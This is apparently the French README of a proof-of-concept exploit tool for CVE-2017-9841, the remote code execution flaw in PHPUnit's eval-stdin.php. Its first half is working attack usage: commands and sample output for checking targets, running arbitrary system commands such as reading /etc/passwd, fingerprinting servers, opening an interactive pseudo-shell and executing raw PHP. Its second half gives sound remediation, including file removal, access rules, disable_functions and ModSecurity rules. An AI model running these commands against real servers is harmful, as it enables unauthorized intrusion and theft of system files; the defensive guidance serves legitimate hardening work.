
CVE-2017-9841 est une vulnérabilité d'exécution de code à distance (RCE) dans la bibliothèque PHPUnit affectant les versions antérieures à 5.6.3 et les versions 6.x antérieures à 6.4.2.
⚠️ AVERTISSEMENT : Cet outil est destiné uniquement à des fins éducatives et à des tests de sécurité autorisés. Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite est illégale. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.
CVE-2017-9841 est une vulnérabilité d'exécution de code à distance (RCE) dans la bibliothèque PHPUnit affectant les versions antérieures à 5.6.3 et les versions 6.x antérieures à 6.4.2.
La vulnérabilité réside dans src/Util/PHP/eval-stdin.php, qui exécute du code PHP reçu via php://input (corps de la requête POST) en utilisant la fonction eval(). Si ce fichier est accessible publiquement (par exemple, dans un répertoire vendor/ non protégé), un attaquant peut exécuter du code PHP arbitraire sur le serveur sans authentification.
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2017-9841 |
| Score CVSS | 9.8 (Critique) |
| Versions affectées | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| Type | Exécution de code à distance (RCE) |
| Authentification | Non requise |
| Vecteur | Réseau (distant) |
| Publiée le | 27 juin 2017 |
| Référence | NVD |
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
Ce fichier accepte du code PHP depuis le corps de la requête POST et l'exécute immédiatement via eval() sans aucune authentification ni validation.
requestspip install requests
git clone <url-du-dépôt>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [options]
L'option -u accepte soit une URL de base (le chemin vulnérable est ajouté automatiquement), soit une URL complète pointant directement vers eval-stdin.php.
python3 poc_cve-2017-9841.py -u 'https://cible.com' --check
Sortie :
[*] Cible : https://cible.com
[*] Point d'accès : https://cible.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Vérification de la vulnérabilité sur : ...
[+] Fichier accessible (HTTP 200)
[+] VULNÉRABLE ! Exécution de code confirmée.
[+] Réponse : VULN_CHECK_OK_2017_9841
# Commande unique
python3 poc_cve-2017-9841.py -u 'https://cible.com' -c 'whoami'
# Commandes multiples
python3 poc_cve-2017-9841.py -u 'https://cible.com' -c 'id && hostname && uname -a'
# Lire un fichier
python3 poc_cve-2017-9841.py -u 'https://cible.com' -c 'cat /etc/passwd'
# Enregistrer la sortie dans un fichier
python3 poc_cve-2017-9841.py -u 'https://cible.com' -c 'cat /etc/passwd' -o resultat.txt
python3 poc_cve-2017-9841.py -u 'https://cible.com' --info
Sortie :
=== INFORMATIONS DU SERVEUR ===
Version PHP : 8.x.x
Système d'exploitation : Linux
SAPI : fpm-fcgi
Utilisateur : www-data
Nom d'hôte : web-server-01
Adresse IP du serveur : 192.168.1.100
Répertoire de travail : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Racine du document : /var/www/html/
Logiciel serveur : Apache
Limite mémoire : 256M
Temps d'exécution max : 30s
Open Basedir : (aucun)
Fonctions désactivées : (aucune)
=== FONCTIONS DANGEREUSES ===
system : OUI
exec : OUI
passthru : OUI
shell_exec : OUI
proc_open : OUI
popen : OUI
curl_exec : OUI
python3 poc_cve-2017-9841.py -u 'https://cible.com' --shell
Sortie :
[*] Pseudo-shell (tapez 'exit' ou 'quit' pour quitter)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Sortie du shell.
python3 poc_cve-2017-9841.py -u 'https://cible.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://cible.com' \
--path '/chemin/personnalise/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://cible.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://cible.com' \
--php '<?php phpinfo(); ?>'
| Option | Description |
|---|---|
-u, --url URL | URL de base de la cible ou URL complète vers eval-stdin.php |
-c, --cmd CMD | Commande CLI à exécuter sur le serveur cible |
--check | Vérifier si la cible est vulnérable sans exécuter de commandes |
--shell | Ouvrir un pseudo-shell interactif |
--info | Recueillir les informations du serveur (lecture seule) |
--find-path | Analyser les chemins courants pour localiser eval-stdin.php |
--path PATH | Spécifier un chemin personnalisé vers eval-stdin.php |
--timeout N | Délai d'attente de la requête en secondes (par défaut : 30) |
-o, --output FICHIER | Enregistrer la sortie de la commande dans un fichier |
--php CODE | Exécuter du code PHP brut au lieu de commandes système |
sudo rm /chemin/vers/projet/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Ajoutez un fichier .htaccess dans le répertoire vendor/ :
# /chemin/vers/projet/vendor/.htaccess
Deny from all
Ou configurez-le dans votre VirtualHost Apache :
<Directory "/chemin/vers/projet/vendor">
Require all denied
</Directory>
Pour Nginx :
location /vendor/ {
deny all;
return 403;
}
cd /chemin/vers/projet
composer install --no-dev --optimize-autoloader
disable_functions dans php.ini; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir; /etc/php/8.4/fpm/php.ini ou dans VirtualHost
open_basedir = /var/www/html/projet:/tmp
max_execution_timemax_execution_time = 30
sudo systemctl restart php8.4-fpm
# ou
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
Exemple ModSecurity :
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'Blocage CVE-2017-9841'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Bloquer l accès au répertoire vendor'"
# Exemple : GitHub Actions
- name: Installer uniquement les dépendances de production
run: composer install --no-dev --optimize-autoloader
- name: Supprimer les fichiers de test et les scripts vulnérables
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete